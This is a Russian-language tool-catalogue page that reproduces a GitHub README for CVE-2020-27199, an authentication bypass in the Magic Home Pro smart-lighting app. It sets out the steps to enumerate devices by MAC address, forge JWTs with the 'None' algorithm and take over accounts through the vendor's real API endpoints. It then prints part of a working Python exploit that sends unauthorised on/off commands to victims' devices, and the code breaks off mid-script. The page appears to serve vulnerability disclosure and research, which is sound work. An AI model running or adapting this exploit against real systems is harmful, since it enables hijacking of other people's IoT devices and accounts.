Skip to content
KitploitKITPLOIT
ИнструментыБлог
Log in
Отправить
ИнструментыБлог
Отправить

Инструменты для хакинга, пентеста и кибербезопасности — ваш арсенал защиты!

Kitploit — это каталог инструментов для хакинга, кибербезопасности и пентестинга. Находите последние обновления проектов для поиска уязвимостей, анализа систем, автоматизации тестирования и усиления вашей безопасности.

··Ленты·Контакты·Конфиденциальность·© 2026 Kitploit

Каталог инструментов

Категории

Все категории
Loading categories
CVE-2020-27199 — CVE-2020-27199 | Kitploit
Инструменты/GitHubGitHub/9lyph/cve-2020-27199
РазведкаБезопасность IoTЭксплуатацияЭксплуатация веб-приложенийСбор информацииТестирование на ПроникновениеМобильная безопасностьАутентификацияРазработка Полезной Нагрузки
GitHub9lyph/cve-2020-27199

CVE-2020-27199

CVE-2020-27199

7111 год назадЕщё не проверено

Популярное

Смотреть все →

Откройте для себя самые используемые инструменты нашего сообщества.

Изучить все инструменты

Просмотрите нашу коллекцию инструментов

Смотреть все инструменты →
Поделиться
Репозиторий

CVE-2020-27199 (Magic Home Pro — Обход аутентификации)

magic-home-pro

В мобильном приложении Magic Home Pro, используемом для взаимодействия с JadeHomic светодиодной лентой RGB, было обнаружено множество уязвимостей. Наиболее значимой из них является уязвимость обхода аутентификации (CVE-2020-27199), которая в конечном итоге позволяет полностью захватить и контролировать всю группу устройств жертвы.

  • Ниже приведены этапы перебора (enumeration), которые приводят к финальной эксплуатации, а также материалы PoC, используемые для проведения перебора и финального эксплойта.

PoC Files

magichome-forge.py — Фальсификатор JWT, используемый для автоматизации захвата устройства

magichome-sniffer.py — Сниффер локальной сети, который ищет в сети уязвимые устройства. Формирует список устройств, против которых можно запускать атаки

magichome-switch.py — Позволяет включать устройства

magichome-takeover.py — Полезная нагрузка, которая позволяет успешно захватить учётную запись пользователя

Pre-Work to finding

  • Rooted Android
  • Обход обнаружения рута через патчинг, переподписание JAR и пересборка APK (требуется)
  • Обход закрепления сертификата Frida на помощь (требуется)

Application

Magic Home Pro

Vendor of Product

JadeHomic

WiFi Controller Product Owner

Suzhou SmartChip Semiconductor Co.,Ltd

Vendor Website

JadeHomic

Reference(s)

Mitre

Exploit-db

SpiderLabs Blog

Affected Product Code Base

Magic Home Pro

Description

Base URL: wifij01us.magichue.net

Enumeration

Эта уязвимость позволяет любому аутентифицированному пользователю использовать свой текущий уровень авторизации для опроса конечных точек, не входящих в его зарегистрированные продукты, с помощью вызова API к /app/getBindedUserListByMacAddress/ZG001?macAddress=<mac address>. В результате HTTP-ответа указывается существование конечной точки и возвращаются Имя пользователя (Username), Уникальный идентификатор пользователя (userUniID) и Связанный уникальный ID (bindedUniID) соответствующей конечной точки.

Используя вышеописанный опрос, злоумышленник может затем использовать неавторизованный POST-запрос к API /app/sendCommandBatch/ZG001, используя недавно перебранный MAC-адрес, чтобы отправлять команды на удаленную конечную точку с помощью совместимых шестнадцатеричных команд 71230fa3 и 71240fa4, что приводит соответственно к ВКЛ и ВЫКЛ.

JWT forging based on the above gleaned details

После завершения начального перебора также можно подделать JWT, используя userID и uniID в данных полезной нагрузки JWT, фактически понижая токен до использования «None» в качестве алгоритма в разделе заголовка JWT (уязвимость обхода подписи). Используя эту уязвимость, приложение становится подверженным захвату устройства злоумышленником путем вызова удаленного API /app/shareDevice/ZG001 и использования параметра JSON friendUserID для добавления устройства в список устройств злоумышленника, что дает злоумышленнику полный контроль над конечной точкой.

Credit(s):

  • Medium
  • JWT_TOOL - ticarpi

Vulnerability Type

  • Обход аутентификации
  • Раскрытие информации
  • Неавторизованный доступ
  • Горизонтальное повышение привилегий

Additional Information

OUI

OUI описывает уникальный идентификатор организации для MAC-адресов, зарегистрированных на организацию. В случае JadeHomic магический OUI — C8:2E:47, где первые три байта соответствуют производителю, а вторые три байта — серийному номеру, присвоенному производителем. В нашем случае идентификатор производителя зарегистрирован на Suzhou SmartChip Semiconductor Co., LTD.

CVE Impact Other

Позволяет обойти аутентификацию мобильного приложения Magic Home Pro и, таким образом, получить полный контроль над всей группой устройств пользователя-жертвы.

Attack Vectors

  • Требуется аутентифицированный пользователь
  • Успешный перебор существующей конечной системы
  • Последующая отправка пакетных команд на удаленную конечную точку
  • Захват устройства
  • Обход аутентификации

PoC enumerator and batch command exploit

Доказательство концепции выполняет перебор последних байтов в диапазоне MAC и возвращает результаты. Оно позволяет протестировать «удаленное выполнение», если вы чувствуете смелость.``` import requests import json import os from colorama import init from colorama import Fore, Back, Style import re

'''

  1. First Stage Authentication
  2. Second Stage Enumerate
  3. Third Stage Remote Execute '''

global found_macaddresses found_macaddresses = [] global outtahere outtahere = "" q = "q" global token

def turnOn(target, token):

urlOn = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
    "dataCommandItems":[
        {"hexData":"71230fa3","macAddress":target}
    ]
}
data = json.dumps(array)
headersOn = {
    "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
    "Accept-Language": "en-US",
    "Accept": "application/json", 
    "Content-Type": "application/json; charset=utf-8",
    "token":token,
    "Host": "wifij01us.magichue.net",
    "Connection": "close",
    "Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOn, data=data, headers=headersOn)
if response.status_code == 200:
    if "true" in response.text:
        print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched On")
    else:
        print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def turnOff(target, token):

urlOff = "https://wifij01us.magichue.net/app/sendCommandBatch/ZG001"
array = {
    "dataCommandItems":[
        {"hexData":"71240fa4","macAddress":target}
    ]
}
data = json.dumps(array)
headersOff = {
    "User-Agent":"Magic Home/1.5.1(ANDROID,9,en-US)",
    "Accept-Language": "en-US",
    "Accept": "application/json", 
    "Content-Type": "application/json; charset=utf-8",
    "token":token,
    "Host": "wifij01us.magichue.net",
    "Connection": "close",
    "Accept-Encoding": "gzip, deflate"
}
print (Fore.WHITE + "[+] Sending Payload ...")
response = requests.post(urlOff, data=data, headers=headersOff)
if response.status_code == 200:
    if "true" in response.text:
        print (Fore.GREEN + "[*] Endpoint " + Style.RESET_ALL + f"{target}" + Fore.GREEN + " Switched Off")
    else:
        print (Fore.RED + "[-] Failed to switch on Endpoint " + Style.RESET_ALL + f"{target}")

def lighItUp(target, token):

Скачать инструмент